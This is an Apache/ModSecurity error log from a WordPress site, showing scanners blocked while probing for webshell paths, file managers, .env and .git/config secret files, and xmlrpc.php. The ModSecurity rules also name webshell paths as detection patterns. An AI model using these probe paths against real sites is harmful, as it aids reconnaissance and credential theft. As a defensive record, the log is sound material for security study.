[Mon Apr 06 19:22:15.921620 2026] [proxy_fcgi:error] [pid 10280:tid 10295] [client 62.197.144.85:53354] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:16.340246 2026] [:error] [pid 10280:tid 10299] [client 62.197.144.85:53354] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adOXaF8QUJkf8g-BFfPbAgAAAdA"]
[Mon Apr 06 19:22:17.617473 2026] [proxy_fcgi:error] [pid 38562:tid 38573] [client 62.197.144.85:51704] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:19.754839 2026] [:error] [pid 38562:tid 38581] [client 62.197.144.85:51704] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adOXa6eD6Ohe6wzRuy5wnAAAAVA"]
[Mon Apr 06 19:22:21.029028 2026] [:error] [pid 9442:tid 9466] [client 62.197.144.85:51832] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adOXbUPsNnAJTnmz6sacEAAAARY"]
[Mon Apr 06 19:22:21.847715 2026] [:error] [pid 9442:tid 9454] [client 62.197.144.85:51864] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adOXbUPsNnAJTnmz6sacIAAAAQo"]
[Mon Apr 06 19:22:22.681532 2026] [:error] [pid 35688:tid 35756] [client 62.197.144.85:51886] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adOXbuZ85qg4jLsRpQyFhwAAAIY"]
[Mon Apr 06 19:22:23.508832 2026] [:error] [pid 35688:tid 35752] [client 62.197.144.85:51924] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adOXb-Z85qg4jLsRpQyFkQAAAII"]
[Mon Apr 06 19:22:24.335834 2026] [:error] [pid 35688:tid 35773] [client 62.197.144.85:51996] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adOXcOZ85qg4jLsRpQyFngAAAJc"]
[Mon Apr 06 19:22:25.624986 2026] [:error] [pid 9442:tid 9467] [client 62.197.144.85:52034] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adOXcUPsNnAJTnmz6sacTAAAARc"]
[Mon Apr 06 19:22:26.462123 2026] [proxy_fcgi:error] [pid 10280:tid 10301] [client 62.197.144.85:53820] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 19:22:27.302795 2026] [:error] [pid 10280:tid 10289] [client 62.197.144.85:53820] [client 62.197.144.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "adOXc18QUJkf8g-BFfPbGgAAAcY"]
[Mon Apr 06 19:22:28.151373 2026] [:error] [pid 38562:tid 38576] [client 62.197.144.85:53880] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "adOXdKeD6Ohe6wzRuy5wrAAAAUs"]
[Mon Apr 06 19:22:28.971909 2026] [:error] [pid 9442:tid 9462] [client 62.197.144.85:53910] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "adOXdEPsNnAJTnmz6saccgAAARI"]
[Mon Apr 06 19:22:29.794122 2026] [:error] [pid 9442:tid 9461] [client 62.197.144.85:53952] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "adOXdUPsNnAJTnmz6sacgAAAARE"]
[Mon Apr 06 19:22:30.638737 2026] [:error] [pid 35688:tid 35773] [client 62.197.144.85:53996] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "adOXduZ85qg4jLsRpQyFwwAAAJc"]
[Mon Apr 06 19:22:33.129180 2026] [:error] [pid 35688:tid 35765] [client 62.197.144.85:54064] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "adOXeeZ85qg4jLsRpQyF1AAAAI8"]
[Mon Apr 06 19:22:33.952170 2026] [:error] [pid 35688:tid 35769] [client 62.197.144.85:54160] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "adOXeeZ85qg4jLsRpQyF2wAAAJM"]
[Mon Apr 06 19:22:34.785452 2026] [:error] [pid 35688:tid 35757] [client 62.197.144.85:54182] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "adOXeuZ85qg4jLsRpQyF4QAAAIc"]
[Mon Apr 06 19:22:35.634200 2026] [:error] [pid 35688:tid 35765] [client 62.197.144.85:52774] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "adOXe-Z85qg4jLsRpQyF5gAAAI8"]
[Mon Apr 06 19:22:36.483875 2026] [:error] [pid 35688:tid 35769] [client 62.197.144.85:52798] [client 62.197.144.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "adOXfOZ85qg4jLsRpQyF6gAAAJM"]
[Mon Apr 06 21:47:23.316199 2026] [proxy_fcgi:error] [pid 9442:tid 9468] [client 46.151.182.140:50470] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 21:47:25.425609 2026] [proxy_fcgi:error] [pid 1827:tid 1845] [client 46.151.182.140:52482] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 21:47:27.312886 2026] [proxy_fcgi:error] [pid 10280:tid 10301] [client 46.151.182.140:53877] AH01071: Got error 'Primary script unknown'
[Mon Apr 06 21:47:29.429722 2026] [:error] [pid 9442:tid 9446] [client 46.151.182.140:55459] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "adO5cUPsNnAJTnmz6sYUdQAAAQI"]
[Mon Apr 06 21:47:32.657215 2026] [:error] [pid 10280:tid 10304] [client 46.151.182.140:58422] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "adO5dF8QUJkf8g-BFfMengAAAdU"]
[Mon Apr 06 21:47:35.916089 2026] [:error] [pid 35688:tid 35753] [client 46.151.182.140:60331] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "adO5d-Z85qg4jLsRpQzfqwAAAIM"]
[Mon Apr 06 21:47:38.372144 2026] [:error] [pid 35688:tid 35767] [client 46.151.182.140:62932] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/application/.env"] [unique_id "adO5euZ85qg4jLsRpQzfuAAAAJE"]
[Mon Apr 06 21:47:40.743648 2026] [:error] [pid 35688:tid 35765] [client 46.151.182.140:64585] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/prod/.env"] [unique_id "adO5fOZ85qg4jLsRpQzfvgAAAI8"]
[Mon Apr 06 21:47:43.136050 2026] [:error] [pid 35688:tid 35771] [client 46.151.182.140:49551] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "adO5f-Z85qg4jLsRpQzfxwAAAJU"]
[Mon Apr 06 21:47:45.838316 2026] [:error] [pid 38562:tid 38570] [client 46.151.182.140:51207] [client 46.151.182.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/beta/.env"] [unique_id "adO5gaeD6Ohe6wzRuy6jDwAAAUU"]
[Tue Apr 07 02:19:38.042125 2026] [:error] [pid 39748:tid 39777] [client 5.195.91.60:63569] [client 5.195.91.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.195.91.60, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adP5Oigic31vPbqmSIrPZgAAANY"]
[Tue Apr 07 02:19:38.053744 2026] [proxy_fcgi:error] [pid 39748:tid 39777] [client 5.195.91.60:63569] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 03:33:12.258905 2026] [:error] [pid 39330:tid 39444] [client 103.66.235.111:59216] [client 103.66.235.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.66.235.111, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQKeHXef-xW6Zktbj_dEgAAAI0"]
[Tue Apr 07 03:33:12.273289 2026] [proxy_fcgi:error] [pid 39330:tid 39444] [client 103.66.235.111:59216] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 04:03:49.640137 2026] [:error] [pid 37719:tid 37742] [client 209.198.155.59:59689] [client 209.198.155.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.155.59, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQRpU09Xv52u2xXGLDf7AAAANQ"]
[Tue Apr 07 04:03:49.653069 2026] [proxy_fcgi:error] [pid 37719:tid 37742] [client 209.198.155.59:59689] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 04:18:42.239677 2026] [:error] [pid 37596:tid 37609] [client 177.181.7.177:20003] [client 177.181.7.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.181.7.177, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQVIqpaAOZHEjRWjP3TUwAAAAM"]
[Tue Apr 07 04:18:42.255689 2026] [proxy_fcgi:error] [pid 37596:tid 37609] [client 177.181.7.177:20003] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 04:50:04.072892 2026] [:error] [pid 37598:tid 37666] [client 177.131.24.116:28505] [client 177.131.24.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.131.24.116, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQcfO9g7q_cV2WhPaxfpAAAAIU"]
[Tue Apr 07 04:50:04.083885 2026] [proxy_fcgi:error] [pid 37598:tid 37666] [client 177.131.24.116:28505] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 05:47:33.642000 2026] [:error] [pid 37598:tid 37677] [client 170.233.146.181:61471] [client 170.233.146.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.233.146.181, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQp9e9g7q_cV2WhPax45wAAAJA"]
[Tue Apr 07 05:47:33.654368 2026] [proxy_fcgi:error] [pid 37598:tid 37677] [client 170.233.146.181:61471] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 06:48:14.626305 2026] [:error] [pid 37719:tid 37741] [client 49.184.141.92:35933] [client 49.184.141.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.184.141.92, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adQ4Lk09Xv52u2xXGLBRLAAAANM"]
[Tue Apr 07 06:48:14.639735 2026] [proxy_fcgi:error] [pid 37719:tid 37741] [client 49.184.141.92:35933] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 09:54:47.380158 2026] [:error] [pid 37598:tid 37674] [client 202.175.241.170:54100] [client 202.175.241.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.175.241.170, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adRj5-9g7q_cV2WhPazyrAAAAI0"]
[Tue Apr 07 09:54:47.398979 2026] [proxy_fcgi:error] [pid 37598:tid 37674] [client 202.175.241.170:54100] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 10:40:09.937132 2026] [:error] [pid 12948:tid 12974] [client 119.93.234.129:60908] [client 119.93.234.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.93.234.129, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adRuicbeSPAN8LvMqsYm-wAAARc"]
[Tue Apr 07 10:40:09.952562 2026] [proxy_fcgi:error] [pid 12948:tid 12974] [client 119.93.234.129:60908] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 10:56:52.117927 2026] [:error] [pid 37719:tid 37741] [client 217.216.72.68:52930] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "adRydE09Xv52u2xXGLDvCgAAANM"]
[Tue Apr 07 10:56:56.015303 2026] [:error] [pid 12948:tid 12956] [client 217.216.72.68:62606] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adRyeMbeSPAN8LvMqsY20wAAAQU"]
[Tue Apr 07 10:57:02.431778 2026] [:error] [pid 12948:tid 12957] [client 217.216.72.68:61905] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/readme.html"] [unique_id "adRyfsbeSPAN8LvMqsY2_gAAAQY"]
[Tue Apr 07 10:57:02.538680 2026] [:error] [pid 12948:tid 12974] [client 217.216.72.68:62731] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adRyfsbeSPAN8LvMqsY2_wAAARc"]
[Tue Apr 07 10:57:15.498071 2026] [:error] [pid 59490:tid 59499] [client 217.216.72.68:59076] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/"] [unique_id "adRyi0cw8OFbiUZ7Rx0SCQAAAUc"]
[Tue Apr 07 10:57:26.526893 2026] [:error] [pid 37719:tid 37735] [client 217.216.72.68:49500] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adRylk09Xv52u2xXGLDwKAAAAM0"]
[Tue Apr 07 10:57:26.925021 2026] [:error] [pid 12948:tid 12955] [client 217.216.72.68:50794] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adRylsbeSPAN8LvMqsY3nQAAAQQ"]
[Tue Apr 07 12:40:02.920922 2026] [:error] [pid 37597:tid 37634] [client 209.198.132.176:17872] [client 209.198.132.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.198.132.176, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adSKog6uAY0QAy-8EEIbGgAAAEA"]
[Tue Apr 07 12:40:02.931903 2026] [proxy_fcgi:error] [pid 37597:tid 37634] [client 209.198.132.176:17872] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 13:00:07.805056 2026] [:error] [pid 37719:tid 37736] [client 2.50.248.165:53826] [client 2.50.248.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.50.248.165, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adSPV009Xv52u2xXGLAlwQAAAM4"]
[Tue Apr 07 13:00:07.817198 2026] [proxy_fcgi:error] [pid 37719:tid 37736] [client 2.50.248.165:53826] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 13:48:50.587032 2026] [:error] [pid 37597:tid 37649] [client 103.210.93.154:60578] [client 103.210.93.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.210.93.154, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adSawg6uAY0QAy-8EEJDxwAAAE8"]
[Tue Apr 07 13:48:50.596335 2026] [proxy_fcgi:error] [pid 37597:tid 37649] [client 103.210.93.154:60578] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 14:38:17.136213 2026] [:error] [pid 37597:tid 37656] [client 159.89.55.133:44606] [client 159.89.55.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adSmWQ6uAY0QAy-8EEJicwAAAFY"]
[Tue Apr 07 20:26:32.078873 2026] [proxy_fcgi:error] [pid 37596:tid 37612] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:32.489662 2026] [proxy_fcgi:error] [pid 37596:tid 37614] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:32.900000 2026] [proxy_fcgi:error] [pid 37596:tid 37629] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:33.309336 2026] [proxy_fcgi:error] [pid 37596:tid 37627] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:33.718777 2026] [proxy_fcgi:error] [pid 37596:tid 37623] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:34.144870 2026] [proxy_fcgi:error] [pid 37596:tid 37624] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:34.556590 2026] [proxy_fcgi:error] [pid 37596:tid 37619] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:34.965911 2026] [proxy_fcgi:error] [pid 37596:tid 37618] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:35.378365 2026] [proxy_fcgi:error] [pid 37596:tid 37615] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:36.209339 2026] [proxy_fcgi:error] [pid 37596:tid 37608] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:36.619045 2026] [proxy_fcgi:error] [pid 37596:tid 37620] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:37.028622 2026] [proxy_fcgi:error] [pid 37596:tid 37607] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:37.437033 2026] [proxy_fcgi:error] [pid 37596:tid 37609] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:37.846317 2026] [proxy_fcgi:error] [pid 37596:tid 37628] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:38.255828 2026] [proxy_fcgi:error] [pid 37596:tid 37622] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:38.664873 2026] [proxy_fcgi:error] [pid 37596:tid 37630] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:39.076050 2026] [proxy_fcgi:error] [pid 37596:tid 37625] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
